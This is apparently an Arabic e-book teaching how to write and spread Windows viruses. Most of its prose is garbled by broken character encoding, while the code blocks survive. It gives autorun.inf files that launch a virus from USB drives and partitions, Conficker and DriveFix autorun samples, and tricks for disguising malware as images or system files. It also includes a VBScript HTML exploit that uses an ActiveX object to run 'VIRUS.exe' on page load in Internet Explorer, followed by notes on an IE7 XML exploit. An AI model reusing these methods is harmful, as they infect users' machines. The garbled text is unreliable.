
 



 

 

 ذْٓ الله جٍُقٖٔ جٍُق٤ْ
 

 

 جهٍأ ٖٓ كِٟي ًٛٙ جُٔوىٓس
 

 

* ًٛج جٌُطحخ ضْ ذًٍ ؾٜى ًر٤ٍ ؾىج ٢ٌُ ٣َٞٚ ُي ذًٜج جٌَُٗ ك٬ ٣ٓٔف ٧قى ئٕ ٣٘ٓم 

 جٝ ٣طرغ جٟ ؾُء ٖٓ جٌُطحخ كأػِْ جٕ الله ٣ٍٟ

 

*ًٛج جٌُطحخ ضْ ض٘ل٤ًٙ ٌُٓد جُؼِْ ٤ُّٝ ٣٩ًجء ج٤ُِٖٔٓٔ  كٔؿٍو هٍجءٙ ًٛج جٌُطحخ 

 جقى  ٝضٓطهىٓٚ ٤ُل٤ى جُ٘حِ ٚكأٗي ضوْٓ ذحلله جُؼظ٤ْ جٗي ُْ ضإيٟ ذ٤

 

*هرَ ٓح ج٠ٍـ ًٛج جٌُطحخ نلص ًػ٤ٍج جٕ ٣طْ جْطهىجٓٚ ذٌَٗ نح٠ة ٣ٝوٞٓٞٙ ج٣ًُٖ ك٠ 

هِٞذْٜ ٍٜٓ ذا٣ًجء جُ٘حِ ذ٤ٚ ٠ٌُ٘ٝ ضـِرص ػ٠ِ نٞك٢ ٢ٌُ ٣ؼْ جُؼِْ ُ٘ح ؾ٤ٔؼح 

ٍذ٤س ػرحٌز ػٖ قٗٞ جُؼوٍٞ ذ٬ٌّ كٌَ ًطد جُط٢ ضطٌِْ ػٖ جُل٤ٍْٝحش ذِـٚ جُؼ

ئٗٗحء ٫ ك٤ىٙ ٓ٘ٚ كوٌٍش ج٠ٍـ ًٛج جٌُطحخ ذأِْٞخ ٍٖـ قو٤و٢ ٝجُٜىف ٖٓ ًٛج 

جٌُطحخ ٛٞ جُطٍِٔ ٝجُططر٤ن ذ٘لٓي ٤ُّٝ جُٓٔغ ٝٗظ٣ٍحش ػٖ ٣ٍ٠ن جْطهىجّ 

ذٍٗحٓؽ جٌُٔر٤ٞضٍ ج٠ُٔٛٞ جًُٟ ٣ؿؼَ ُي ض٘ل٤ً ًٛٙ جُل٤ٍْٝحش ٌٓٔ٘ح ك٠ ٓؿحٍ 

 ى٫ ٖٓ ج٣ًأ ٗلٓي ٓػَ ذٍجٓؽ ٓؼٍُٝ ػٖ ٗظحٓي ذ

Virtual PC      ٝ VMware-workstation-5.0 

 

ج٧نطحء ٫ٕ ًٛج جٌُطحخ ػرحٌز ػٖ جؾطٜحو ٖه٢ٛ ٝضْ ج٫ْطؼحٗس  ٚ*ًٛج جٌُطحخ ٝجٌو ذ٤

ذٌػ٤ٍ ٖٓ نرٍٙ ٬َٓت٢ ك٢ ٓٞهغ ًطد ٝؿ٤ٍْٛ كايج ٝؾىش نطأ هْ ذٍٔجِْط٢ ػ٠ِ 

 ج٠ِ٤ٔ٣

 

ضو٤٘حش جُل٤ٍْٝحش ٝػ٤ِي ذ٨ْطؼحٗٚ ذٌطد ٬َٓت٢  * ًٛج جٌُطحخ ُْ ٣ًًٍ ًَ ٢ٖء ػٖ 

ٝج٫ْٛ ٖٓ يُي ٛٞجُٓؼ٠ جُٗه٠ٛ ٝجُركع ك٠ جُ٘ص ػٖ ًَ ؾى٣ى ك٠ جُٔٞجهغ 

جُؼٍذ٤س ٝج٫ؾ٘ر٤ٚ ٣ٌٔ٘ي ٝهطٜح جٌْحٍ ًٛٙ جٌُطد جٝ جُٛلكحش ج٠ُ ج٠ِ٤ٔ٣ ٢ٌُ 

 جًٓد جُؼِْ أ٣ٟح ٣ٝؼْ جُه٤ٍ

 

 

         ْحٓف ؾٔؼٚ                                  

                   Sameh_gomaa2003@yahoo.com                             

                                                                    

                                                 
 

 

                                                       



 ٌٍٖ ٝضوى٣ٍ                                                      
 

ٌٍٖ ٝضوى٣ٍ ج٠ُ ٓٞهغ )ًطد( ًٛج جُٔٞهغ ُٚ جُلَٟ ذؼى الله ك٠ ٓؼٍكط٠ ًػ٤ٍج ػ٠ِ 

 جُؼِّٞ جُطو٤٘ٚ 

 

 جٗٛف ذوٍجءٙ ًٛٙ جٌُطد 
 ًطحخ وٌجْٚ ك٠ ػِْ جُل٤ٍْٝحش   ُِٔإُق    ٝؾىٟ ػٛحّ -1

 ًطحخ جُكٔح٣ٚ ذٞجْطس جُ٘ظحّ  -2

 ًطحخ ضؿحٌخ ٖه٤ٛٚ ٓغ جُل٤ٍْٝحش -3

 ٖ ٝجُكٔح٣س ك٠ ج٫ٗطٍٗصج٫ًٓطحخ  -4

 ذٍٓؿٚ جُِٔلحش جُىكؼ٤س -5

  ػَٔ ٌهؼٚ ج٤٘ٓٚ ُؼىٙ غـٍجش -6

 

 ًَ ًٛٙ جٌُطد ٓٞؾٞوٙ كىٔٞهغ) ًطد( ك٠ هْٓ ج٫ٖٓ ٝجُكٔح٣ٚ 

 

 ٓٞهغ جُل٣ٍن جُؼٍذ٠ ُِرٍٓؿٚ هْٓ ج٫ٖٓ ٝجُكٔح٣ٚ

 

 

 ٓحقٞظٚ :

 ٠ٌُ ضٛرف ٓكطٍكح ك٠ جُل٤ٍْٝحش ٝجُكٔح٣ٚ ٫ذى ٖٓ ٓؼٍكس ج٫ض٠ :

 ٕ ٓكطٍف ذأٟ ُـٚ ذٍٓؿٚ قى٣ػٚ ضٌٞ -1

 ضٌٕٞ ػ٠ِ ٓٓطٟٞ ٖٓ ُـٚ جُطؿ٤ٔغ ) ج٫ْٔر٠ِ ( -2

 ) ْطٍ ج٫ٝجٍٓ (  commandٓؼٍكٚ جٝجٍٓ  -3

 ٓؼٍكٚ ُـٚ جُرحضٕ ) جُِٔلحش جُىكؼ٤ٚ ( -4

 ضٌٕٞ ٖى٣ى جُٔؼٍكٚ ذِٔلحش ج٣ُٞ٘ىَٝ ٝجٍُؾٓطٍٟ ٣ُِٞ٘ىَٝ ضٔحٓح  -5

 ضٌٕٞ يجش ٚرٍ ٝ قد ًُٜج جُٔؿحٍ   -6
 

 

 

 

 

 

 

 

 

 

 

 

 

 



 ٠ٍم ونٍٞ جُل٤ٍِ ٣ُِٞ٘ىَٝ                 

  
 auto play   (:(auto run* جِْٞخ 

ُِؿٜحَ ٝ ػِٜٔح ٣ٌٖٔ ك٢ ٝؾٞو ِٓق ئٕ ٍْػس ئٗطوحٍ جُل٤ٍْٝحش ٝ ئٗطٗحٌٛح ٝ ٍْػس ضؼط٤ِٜح 

Auto run" ٍٍٓكن ٓؼٜح ٝ ٣ؼَٔ ػ٠ِ ض٤ٗ٘طٜح ...ًُُي ٝ ٖٓ ًٛج جُٔ٘طِن ٗٓطط٤غ ئْطـ٬  "

 ًٛٙ جُِٔلحش

  ضؼَٔ ُكٓحذ٘ح ..                      ٝ ؾؼِٜح 

ٖٓ جُل٤ٍْٝحش جُط٢ ونِص ئ٠ُ ؾٜح١َ ٝ ْأهّٞ ذٞٞغ   Autorun"ُوى ؾٔؼص أًػٍ ٖٓ ِٓق "

  ئغ٤ٖ٘ ٖٓ ًٛٙ جُِٔلحش ٝ ٍٖـ ٤ًل٤س ئْطـ٬ُٜح ...

 ج٧ٍٝ:  Autorunًٞو ِٓق جُـ 

 

[AUTORUN] 

OPEN=x.exe 

shell\open\command=x.exe 

shell\explore\command=x.exe 

 جُػح٢ٗ :  Autorunًٞو ِٓق جُـ 

 

[autorun] 

shellexecute=x.exe 

open= x.exe 

shell\open\Command= x.exe 

shell\open\Default=1 

ٓرحٍٖز أٝ  جُىنٍٞ ُِوٍ٘ ػ٘ى x.exe ٓكطٟٞ ِٓق ج٧ٝضٌٕٞ ٣أٍٓ ذإٔ ٣طْ كطف ِٓق ٫قع إٔ

 open ,explore, auto play ج٧ٝجٍٓ قط٠ جنط٤حٌ أقى ًٛٙ

              جُٔل٤ٍِ ٖٓ ن٬ٍ جُ٘وٍ ػ٤ِٚ ذح٤ٔ٤ُٖ غْ جنط٤حٌ ًٝٛج و٤َُ ػ٠ِ إٔ ٣ٍ٠وس كطف جُوٍ٘

  explore  ٝجopen  ٌٕٞؿ٤ٍ ٗحؾكس ئيج ًحٕ ًٛج جُٓطٍ ٓٞؾٞو ك٢ ِٓق ج٧ٝض 

shell\explore\command =x.exe                                                           

            shell\open\Command= x.exe 

           shell\autoplay\Command= x.exe 

       shell\open=Open 

 

 



 ٝضٓطهىّ ٣ٍ٠وٚ جنٍٟ ٠ٛٝ ؾؼِي جٗص ضٗـَ جُل٤ٍِ ٠ٛٝ ٝٞغ ًٛج جٌُٞو ك٠  ج٫ٍٝ

 action=Open folder to view files 

  icon=%SystemRoot%\system32\SHELL32.dll,4 

 ٝض٬قع جٗٚ جػط٠ ذؼى يُي ٌَٖ ج٣٫وٞٗٚ ُِل٤ٍِ ٌَٖ كُٞىٌ ػٖ ٣ٍ٠ن ِٓق جُ٘ظحّ    

 SHELL32.dll  جُٔٞؾٞو ك٠system32 ُٚٓٞطؼط٤ي ًٛٙ جُ٘حكًٙ جُِٔـ 

 

 ئ٠ُ أْْ جُِٔق جٍُٔجو ضٗـ٤ِٚ    x.exeج٥ٕ ًَ ٓح ػ٤ِ٘ح ٛٞ ضرى٣َ أْْ جُِٔق 

ٝ ٣ؿد جٕ ٣ٌٕٞ ًٛج جُِٔق ٝ Autorun.inf   ٤ُٛرف ٓػ٬    inf.ٝ قلع جُِٔق ذ٬قوس 

ك٢ ٝقىجش جُطه٣ُٖ  "Autorun" جُلح٣ٍِٝ ذٔؿحٌٝز ذؼٟٜٔح .. ٝ ٗٓطط٤غ جْطهىجّ ًٛج جُـ

نضع  لجعل الفايروس يفتح تلقائيا مع فتح القرص الصلبو  Cdجُٔط٘وِس )جُل٬ٖس ( ٝ ج٤ُٓى٣حش 

 هذا الكود فى كل برتيشن بجوار الفيرس   

[autorun]                                                                                                                          

       shell\1-open\Command= x.exe                                                                

Shellexecute=x.exe                                                                                                         

 ٝج٤ٌُْ جًٞجو نحٚٚ ُرؼٝ جُل٤ٍْٝحش جُٔؼٍٝكٚ :

 ****conficker)ك٤ٍِ ًٞٗل٤ٌٍ )  ****                                

[autorun] 

Action= open folder to view files 

icon=%SystemRoot%\system32\SHELL32.dll,4 

shellexecute=Rundll32.exe .\ RECYCLER\S-5-3-42-2819952290-

8240758988-879315005-3665\ jwgkvsq.vmx,ahaezdrn 

ًٞجو  ١ْ ج٫ ٝ ٍٙ٤ َٓٞ ًػ هحّ ٌٝ ًٞجو ٝجٌ ٞغ ج ٝ ٠ٛ وٚ نط٤ٍ ْطهىّ ٣ٍ٠ ؼ٤ٖ ج ٤ٍِ جُِ ًٛج جُل ٝ

 ٣ٍذي ج٫ٗط٠ ك٤ٍِ ( هرَ جُكٍٝف ٝج٫ٌهحّ ٠ٌُ ٣طؿحِٜٛح ج٣ُٞ٘ىَٝ ٝ( ; ٣ٟٝغ ػ٬ٓٚ 

; FF443HG4FH354GHG#F%HJM@BGJHG#NMMN666 

كٚ(   (Binary garbage ٍٓ جٍُٔجو ض٘ل٤ًٛح غ٘حت٤ح ٖٞٔ ٓح ٠ٔٓ٣قوٖ ج٫ٝج أٝ  ٬ٌّ جُطح ١ًُ  جُ ج

ضٍجٕ ِق ج٫ٝ ٔحش ٓ ٣ىٙ ٝٛٞ   ٤ْطؿحِٛٚ ٣ٝ٘ىَٝ ػ٘ى هٍجءز ضؼ٤ِ وٚ ؾى ْطهىّ ٣ٍ٠ ٤ٍِ ج ًٝٛج جُل

ِق   ٤ُٝexeّ ٖٓ ٗٞع  dllؾؼَ جُل٤ٍِ ٖٓ جُ٘ٞع ِٓلحش  ٓ ّ٤ُ  ٞٛٝ َٔ ٤ق ٣ؼ ٓأٍ ً ْٞف ض

 ض٘ل٤ًٟ .



ِق  dll وّٞ ذٓطىػحء ِٓق جُ٘ظحّ جًُٟ ٣وّٞ ذطٗـ٤َ ِٓلحش جُؿٞجخ ٛٞ ٣  ًٛج ٝٛٞ ٓ ك٠  ؾٞو  ٞٓ

 جُٔٓحٌ

C:\WINDOWS\system32\ Rundll32.exe 

ٍِ٤ طىجو جُل ٌٖ جٓ وٍٞ ُ هى ض ٤ُّ   vmxٝجُهىػٚ جُػح٤ٗٚ :  ٝ dll ٚٚحذ ؼى ج٫ وّٞ ذ ٤ٍِ ٣ ٫ٕ جُل

   dllٝٛٞ ك٠ ج٫َٚ ِٓق    dllذطـ٤٤ٍ ج٫ٓطىجو ج٠ُ 

    

 
              DriveFix.exe                                       ك٤ٍِ

           [autorun] 

open=RESTORE\c-1-3-64-8794238531-8742492-9897532\DriveFix.exe 

icon=%SystemRoot%\system32\SHELL32.dll,4 

action=Open folder to view files 

shell\open=Open 

shell\open\command=RESTORE\c-1-3-64-8794238531-8742492-

9897532\DriveFix.exe 

shell\open\default=1 

           

 

 

 

 

 

 

 

 

 

              



 ***جُطٍم أ٣ٟح ٢ٛٝ ضحذؼس ُٔٞٞٞع ج٧ٝضٌٕٞ ٖٝٓ***                     

 

 ٢ٌُ ٣ْٞٛ جُٔٓطهىo_o.jpgّ ٓػَ ج١ٌُٞٛ jpg جُط٣ٍوس ٢ٛٝ إٔ جُلح٣ٍِٝ ٣طهل٠ ذحٓطىجو ًٛٙ

 ذأٗٚ ٌٚٞز

 vbs ذحٓطىجو Script ٌُٖٝ ِٓق ج٧ٝضٌٕٞ جُطحذغ ُٚ ٣ٞٞف إٔ جُلح٣ٍِٝ ػرحٌز ػٖ ٌٍْذص

 Wscript.exe ًٝٛج ج٫ٓطىجو ٣ؼَٔ ػٖ ٣ٍ٠ن جُِٔق

 إٔ ٣وّٞ ذطٗـ٤َ جُـلح٣ٍِٝ Wscript.exe ٝجُٞجٞف ك٢ ِٓق ج٧ٝضٌٕٞ أٗٚ أٍٓ جُـ

 :ًٞو

[autorun] 

 

shellexecute=Wscript.exe /e:vbs (o_o).jpg 

 

 ***ضو٤٘حش جُطهل٢ ٝجُهىجع ٖٝٓ                           ***

 ٓػَ ذأ٣وٞٗحش ٝأْٔحء ِٓلحش جُ٘ظحّ ج٧ْح٤ْس جُطهل٢

  smss حْْ ِٓق جُ٘ظحّذ smss ٝجُلحsvchostٍِٝ٣ ذحْْ ِٓق جُ٘ظحّ svchost جُلح٣ٍِٝ

ٌُٖ جُٓإجٍ ٛ٘ح ٤ًق أػِْ  ضهل٠ ذأقى أ٣وٞٗحش جُ٘ظحّ هى services ٝئٕ ٫قظص إٔ جُلح٣ٍِٝ

 !!ِٓق ٗظحّ ْٜٓ ٝؿ٤ٍٙ كح٣ٍِٝ ٝٓط٠ ٣ٌٕٞ svchost ٣ٌٕٞ ٓط٠

 ذ١٤ٓ ؾىج جُؿٞجخ

 LOCAL أٝ SYSTEM ئٕ جُط٢ يًٍ أٓحٜٓح svchost ٫قع إٔ ؾ٤ٔغ جُِٔلحش جُٔىػٞز ذـ

SERVICE ٝأ NETWORK SERVICEأٓح ٓح  ك٢ جُـحُد ِٓلحش ُِ٘ظحّ ٜٓٔس ؾىج ٢ٛ

ٗوطس أن٤ٍز ك٢ ًٛٙ جُلوٍز ٢ٛٝ أٌْٗ . كح٣ٍِٝ ٓطهىّ ٝٛٞ كٜٞ ك٢ جُـحُديًٍ أٓحٜٓح جْْ جُٔ

ٝضظٍٜ ذأ٣وٞٗس ذحٛطس )ك٢ قحٍ أٗٚ ن٤حٌ ئظٜحٌ  جُلح٣ٍْٝحش ضوّٞ ذانلحء ٗلٜٓح ًٔح ضؼِٕٔٞ ٓؼظْ

٫  ٝجٌُِٔٗس ك٤ٜح ٢ٛ أٗٚ ػ٘ى جُٔكحُٝس ُِطؼى٣َ ك٢ نٛحتٜٛح)جُٔهل٤س ٓلؼَ ٤ِْْٝ جُِٔلحش

 ج٥ض٢ ٗطٌٖٔ ٖٓ ضك٣ِٜٞح ُِٔلحش ػحو٣س أ١ ؿ٤ٍ ٓهل٤س ٗطرغ ٢ٌُٝ ٤ٍ ٓلؼِسضٓطط٤غ ٝيُي ٧ٜٗح ؿ

 cmd جكطف هحتٔس جذىأ غْ جيٛد ئ٠ُ ضٗـ٤َ ٝجًطد

Start > Run > cmd 

 غْ جًطد

Attrib -r -s -h  

 “ “ غْ ٓٓحٌ جُِٔق ًح٬ٓ ذ٤ٖ

 ٓػحٍ

 :ًٞو

Attrib -r -s -h"C:\lol.exe" 

  ٤ْطْ ئَجُس ػ٘ىٛح

Read only , System , Hidden  

 جُؼحو٣س ٖٓ نٛحتٙ جُِٔق ٝقط٠ ُٝٞ ُْ ٣ٌٖٔ ئَجُطٜح ذحُط٣ٍوس

 ٖٝٓ غْ ضؼَٔ ُٚ ٓٓف 

 Del  C:\lol.exeًٞو :

 



 

 :ِٓلحش يٝ ج٫ٌٖحٍ جُٔهحوػٚ

  

 surtcut))جِْٞخ 

  pif.. ج٠ُ جٓطىجو   exeج٠ُ ِٓق ٌٖٞش ًحش ذطـ٤٤ٍ جٓطىجو جُِٔق ٖٓ   exeٗوّٞ ذطك٣َٞ ِٓق 

 
ٝج٣ٟح ػ٠ِ  ٚ ٣ٛؼد ػ٠ِ ج٫ٗط٠ ك٤ٍِ ًٗلٚ ُؼىّ ضٞكٍ ًٞو جُل٤ٍِ ذُٜٓٞٚٝذًٜٙ جُط٣ٍو

 جُٔٓطهىّ  

ُِِٔق جُل٤ٍِ غْ ضـ٤٤ٍ ٌَٖ ج٣٫وٞٗٚ shurtcut)  جُط٣ٍوٚ جُػح٤ٗٚ ٠ٛٝ ذؼَٔ ٌٖٞش ًحش ) -

 ُِٔق جٌُٗٞش ًحش ٝجنط٤حٌ ٌَٖ جنٍ ٝػَٔ جنلحء ُِِٔق ج٫ْح٠ْ 

 
 

 ٍ ج٣٫وٞٗٚ ٓػَجُط٣ٍوٚ جُػحُػٚ جْطهىجّ ذٍجٓؽ ُطـ٤٤

 

  

   
                        

                             

 

 

 

 

 

 

 

 

 



 

    exe))جْطهىجّ ك٤ٍْٝحش يجش جٓطىجوجش ؿ٤ٍ -

 

  ٝك٤ٍْٝحش قحكظٚ جُٗحٖٚ  batch (.bat)ٝك٤ٍْٝحش  script (.vbs)ٓػَ ك٤ٍْٝحش  

.SCR ٝك٤ٍْٝحشHTML (.html)  ٝك٤ٍْٝحشscrap (.shs) 

 ٓٓطهى٢ٓ ج٠ُ جٓطىجو ؿ٤ٍ ٓؼٍٝف ٖٓ هرَ جٌُػ٤ٍٖٓ EXE ٗوّٞ ذطـ٤٤ٍ جٓطىجو ٣ٍ٠وٚ ٝج٤ٌُْ

ٓغ جُرٍجٓؽ  ؾىج ُٔح ك٤ٚ ٖٓ جٌٓح٤ٗحش ج٫ضٛحًٍٍٝٛج ج٫ٓطىجو نط٤ SHS ٛٞ ج٫ٗطٍٗص ٝج٫ٓطىجو

  Scrap Object ج٫نٍٟ ٝٛٞ

  : ٝجُط٣ٍوٚ ٢ٛ ًحُطح٢ُ

 Virus  ٘حكًٙ ٝج٫ٕ جٞـ١ ػ٠ِ جُرٍٗحٓؽجكطف جُرٍٗحٓؽ ٝٚـٍ جُ WordPad ذٍٗحٓؽ هْ ذطٗـ٤َ

ْٞف  WordPad ٍٓٙ ٝجقىٙ ٫ٝ ضٍكغ جٚرؼي ػٖ جٌُُجٌ غْ جْكرٚ ج٠ُ ذٍٗحٓؽ ذحٌُُجٌ ج٣٫ٍٓ

 ج٠ُ جُِٔق ج١ًُ جٗطوَ ج٠ُ جُرٍٗحٓؽ ذٌَ ُْٜٞٚ غح٤ٗح جٞـ١ ذحٌُُ ج٣٫ٖٔ ػ٠ِ ٣٘طوَ جُِٔق

WordPad ٍجنط Package Object ْغ Edit Package  ٍُٜي ٗحكًٙ ذأْْْٞف ضظ 

Object Packager - Package in Document جنطٍ هحتٔس Edit ْغ Copy Package 

غْ جٞـ١ ك٢ جٌُٔحٕ جُلحٌؽ ػ٠ِ جٌُُجٌ  EditServer جُٔؿِى ج١ًُ ذٚ ِٓق غحُػح ٝجن٤ٍج جنطٍ

ًٝٛج ٛٞجُِٔق  Scrap ُٛن( ْٞف ٣طٌٕٞ ُي ِٓق ٌِٖٚ ؿ٣ٍد ذحْْ (Paste ج٣٫ٖٔ غْ جنطٍ

 shs ج٠ُ طىجوٙهى ضـ٤ٍ جٓ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



 ك٠ جُ٘ظحّ:  net workجِْٞخ جُػـٍجش ج٣ُٞد ٝ 

 
 ، ُِ٘ظحّ ْٓٛٔ أٝ ٓٓطهىّ ًَ ٜٓ٘ح ٣ٝهحف ٛحًٍ ذٜح ٣إٖٓ قٌٔس ، غـٍجش ذ٬ ٗظحّ ٣ٞؾى ٫

 ُٜح ٣ٞؾى ٫ غـٍز ٖٓ جُػـٍجش ًٛٙ ضطلحٝش هى ٌُٖٝ ، غـٍجش ػ٠ِ ج٧ٗظٔٚ أقطٞش كِطحُٔح

 ػ٠ِ . َٓذحٌُح جُ٘ظحّ أنطٍجم ئ٠ُ ضإوٟ هى ؾىًج نط٤ٍز غـٍز ج٠ُ ٔٓطهىّجُ ػ٠ِ ًر٤ٍ ٌٍٞ

 exploit(  هحذِٚ ٬ُْطػٔحvulnerableٌجُٟؼق ) ٗوح٠ أٝ جُػـٍجش ؾ٤ٔغ ٤ُٓص قحٍ أ٣س .

 أػ٠ِ ٬ٚق٤حش ػ٠ِ ُِكٍٛٞ أٝ جُؿٜحَ ٩ٚحذس ًٛٙ جُٟؼق ٗوح٠ ضٓطػٍٔ هى جُلح٣ٍْٝحش

 exploited  ج٩ْطػٔحٌجش ًٛٙ ذحْطهىجّ ٣وّٞ  ٖٓ ػ٠ِ ٣ٝطِن جُٔهطٍم، جُؿٜحَ ك٢ ذحُٔهطٍم

   Attacker . ذِٔهطٍم

  Technical Weakness جُكحْد أٗظٔٚ ضٓطٜىف جُط٢ ضو٤٘س ٢ٛٝ ٞؼق ٗوح٠ ٛ٘حى

 

 Internet Explorerغـٍجش 
 

 جُػـٍٙ ج٠ُٝ٫:

 ٝٛٞضٗـ٤َ جُل٤ٍِ ٓؿٍو ونُٞي ُِٔٞهغ ٠ٝرؼح ْٞف ٣ؼَٔ ٣ٝ٘ٓم ٗلٓٚ ك٠ ؾٜحَى 

 
 .ٗأض٢ ٌُطحذس ذؼٝ ج٧ًٞجو ج٥ٕ

 .HTML ًٞو جُطٗـ٤َ جُٔٞؾٞو ك٢

<script language=vbscript>  

on error resume next  

dim sys  

Set df = document.createElement("object")  

df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-

00C04FC29E36 "  

set fso = df.createobject("Scripting.FileSystemObject","")  

set s=df.CreateObject("Shell.Application.1","")  

set re=df.createobject("wscript.shell","")  

sys=fso.GetSpecialFolder(1)  

s.Open ("C:\ VIRUS.exe")  

</script> 

 

 

 

 

 

 

 



 غـٍٙ جُػح٤ٗٚ :

 Internet Explorer ُط٢ ٣ٓطهىّ ٓطٛلف٣ٓطٜىف غـٍز ٌٓطٗلٚ ك٢ جُط٣ٍوس ج ج٫ْطـ٬ٍ

 .جُٔٓطهىٓس ك٢ ٓؼظْ ٚلكحش ج٣ُٞد ػ٠ِ ج٫ٗطٍٗص CSS ٓؼِٞٓحش

 

ك٢  ٣8ٌٖٔ إٔ ض٘طوَ ئ٠ُ ج٩ٚىجٌ  قحٕ جُٞهص ٬ُٗطوحٍ ئ٠ُ ٓطٛلف آنٍ، ُٝٞ ذٌَٗ ٓإهص.. ٌُٖ َٛ

 غـٍجشضك١ٞ ػ٠ِ نطأ ض٢ٔ٤ٔٛ ٣هِن  XSS ٝ ٤ٌٓح٤ٌ٤ٗس جُكٔح٣س ٖٓ IE8 ظَ ٍٗٗ نرٍ آنٍ ذإٔ

XSS غـٍجش ك٢ جُٔٞجهغ جُط٢ ٫ ضك١ٞ أْحْحً ػ٠ِ       

 



 .ذْٓ الله جٍُقٖٔ جٍُق٤ْ

ْ٘ططٍم ُِطك٤َِ جُطو٢٘ ُػـٍز جُٔطٛلف ق٤ع ٤َْٗٔ يُي ضك٤َِ ج٩ْطػٔحٌ ٝضكى٣ى  ج٤ُّٞ جٕ ٖحء الله

 .جُهطأ ٍٖٝـ ُط٣ٍوس ج٩ْطػٔحٌز جٍُجتؼس ك٢ يُي ٌٓحٕ

 

 :ػحٓس ٗظٍز-1

ًٛٙ ج٥ٝٗس ج٧ن٤ٍز ٖٓ ٗحق٤س جٜٗح يجش ضأغ٤ٍ  أنطٍ جُػـٍجش جُط٢ جٗطٍٗش ك٢ ضؼطرٍ ًٛٙ جُػـٍز ٖٓ

ٛٞ  ك٢ جؾُٜز جُٔٓطهى٤ٖٓ،ٓح٣ؼ٢٘ ًٛج (Code Execution) ذحُؾ ك٢ٜ ضٓٔف ذطٗـ٤َ جًٞجو ٞحٌز

 :ضؼ٣ٍٟٜح ُهطٍ كؼ٢ِ ٣طٔػَ ك٢

 .ه٤ٚٞٛط٣ٚؼٍٜ ٚحقرٚ ُلوىجٕ جٝ جٗطٜحى ُ ضك٤َٔ ك٤ٍْٝحش جٝ جقٛ٘س ٠ٍٝجوز ُِؿٜحَ ٓٔح -1

 .ذحُىنٍٞ جُٔرحٍٖ ٝ جُـ٤ٍ ٍٓٛـ ُِؿٜحَ جٝ كطف ه٘حز جٝ ٓ٘لً ٣ٓٔف ُِٔٓطهىّ -2

 جُط٢ جٌضلغ ٖٓ جؾِٜح ٓإٍٖ جُهطٌٞز ُىٟ ٓٔٔح ٣ؿؼِٜح ًٔح ْرن يًٍ ٖٓ جنطٍ جُػـٍجش

Symantec ٖٓ جُل٤ٍْٝحش ذاْطؼٔحُٜح ًـ ٝ ًى٤َُ ػ٠ِ يُي هحٓص ٓؿٔٞػس Spreading 

Vulnerability  ض٘طٍٗ ٖٓ ن٬ُٜح،ٝ ذحُؼٞوز ئ٠ُ جَٚ جُػـٍز ٌٝٓطٗلٜح كإ ج٩ْطػٔحٌج١ غـٍز 

ضرحع ك٢  ٗٞكٔرٍ ج١ هرَ ٍٗٗٛح ًحٗص 15جٗطٍٗ ْٜٞج ٖٓ ن٬ٍ ذحقػ٤ٖ ٤٘٤ٖٚ ٝه٤َ جٕ جُػـٍز ك٢ 

 جُهرٍ ٖٓ ٓٞهغ ًٝٛج 15,000$ ٓ٘ط٤ى٣حش ٝ َٝٚ ْؼٍٛح ئ٠ُ

The Register.  

 :ضك٤ِ٤ِس ٗظٍز

 ،ُِ٘و٢ ٗظٍز ػ٠ِ جُر٤حٗحش جُط٢ ضكىظ HTML ك٢ ٚلكس XML جُػـٍز ضكىظ جغ٘حء ٓؼحُؿس ٓٓط٘ى

 :جُػـٍز ٖحٛى جٌُٛٞز

 
،جُٛلكس ضكط١ٞ ػ٠ِ ّْٝٞ  HTML وجنَ ٚلكس XML ًٔح ض٬قع جُٛلكس ػرحٌز ػٖ ٓٓط٘ى

 .ػ٤ِٜح ئ٣طحٌ ذح٧نٍٟ نحٚس جُط٢

 :٢ٌُ ٣ٌٕٞ جٍُٗـ ٝجٞكح جًػٍج XML ُٔلّٜٞ ٌذٔح ػ٤ِ٘ح جُططٍم

XML جٕ جُرٍجٓؽ جٝ جُٔطٛلف ػ٘ى  ٢ٛ جٕ ٚف جُطؼر٤ٍ ػرحٌز ػٖ ُـس أضص ُٞٚق جُر٤٘حش ج١

ُِر٤حٗحش ٝٗٞػٜح  كاٗٚ ٤ْطؼحَٓ ٓغ ٗٞع جُر٤حٗحش ٝٓح ٣كىو ٚلس XML ضؼحِٓٚ ٓغ ذ٤حٗحش ٖٓ ٗٞع

جٜٗح ضؿؼَ ُي ّْٝٞ نحٚس ًٝٛج ٓح جػطوى جٗٚ  XML ،ٝجٍُٔٝٗس جُط٢ ضوىٜٓح tags ٢ٛ ج٧ْٝٔس

 جُْٜٔ ًٝٛج ٛٞ جُـٍٜ جٍُت٢ٓ٤ ٖٓ جُِـس،ُ٘لٍٜ جٗي ضطؼحَٓ ٓغ ذ٤حٗحش ٓح ٣طْ ٗوِٜح ػرٍ ج٧ٍٓ

http://www.theregister.co.uk/2008/12/11/ie7_exploit_leak/
http://www.theregister.co.uk/2008/12/11/ie7_exploit_leak/


جُطؼحَٓ ٓؼٜح ػ٠ِ  ج٧ٗطٍٗص ُٝطٌٖ ٠ِرحش ٍٖجء ٓػ٬ ًٝٛٙ جُر٤حٗحش ُٔح ضَٛ ئ٠ُ جُؿٜس جُٔؼ٤٘س كإ

ذاْطؼٔحٍ جْٝٔس  XML ٗٛٞ٘ ٝجٌٖحٍ جٍٓ ٚؼد ًُُي ُٝط٤َٜٓ ج٧ٍٓ جُؼ٤ِٔس ٣طْ ئْطهىجّجْحِ 

 :نحٚس ػ٠ِ ْر٤َ جُٔػحٍ

<request>  

<book>hacking</book>  

<price>15000$</price>  

<request> 

 

،  Hacking ٝ جْْ جٌُطحخ ٛٞ $15000 ٓٞٞٞػس ٣ؼ٢٘ ْؼٍ جٌُطحخ ٛٞ ٤ْٝطْ ٓؼحُؿطٜح ًٔح ٢ٛ

 .ج٧ْٝٔس جُهحٚس ٝٓح ضؼ٢٘ XML طٛحٌ ٣ٞٞف كحتىزكًٜج ذان

 .ٗؼٞو ُِٔٞٞٞع

 :ٓإ٠ٍز ذح٧نٍٟ ٢ٛ ًٝٔح هِ٘ح ْحذوح جٕ ج٩ْطػٔحٌ ٣ك١ٞ جْٝٔس نحٚس

<X> ٝ <C> ك٢ ضهط٢ ذٍجٓؽ جُكٔح٣س ٫ض٠ٓ٘ ًٛٙ ج٧ْٝٔس ٧ٗ٘ح ْ٘ؼطٔى ػ٤ِٜح ;) 

 :ج٧ٍٓ ج٥نٍ ٛٞ ًٛج

[CDATA[.....image link here....]] 

 

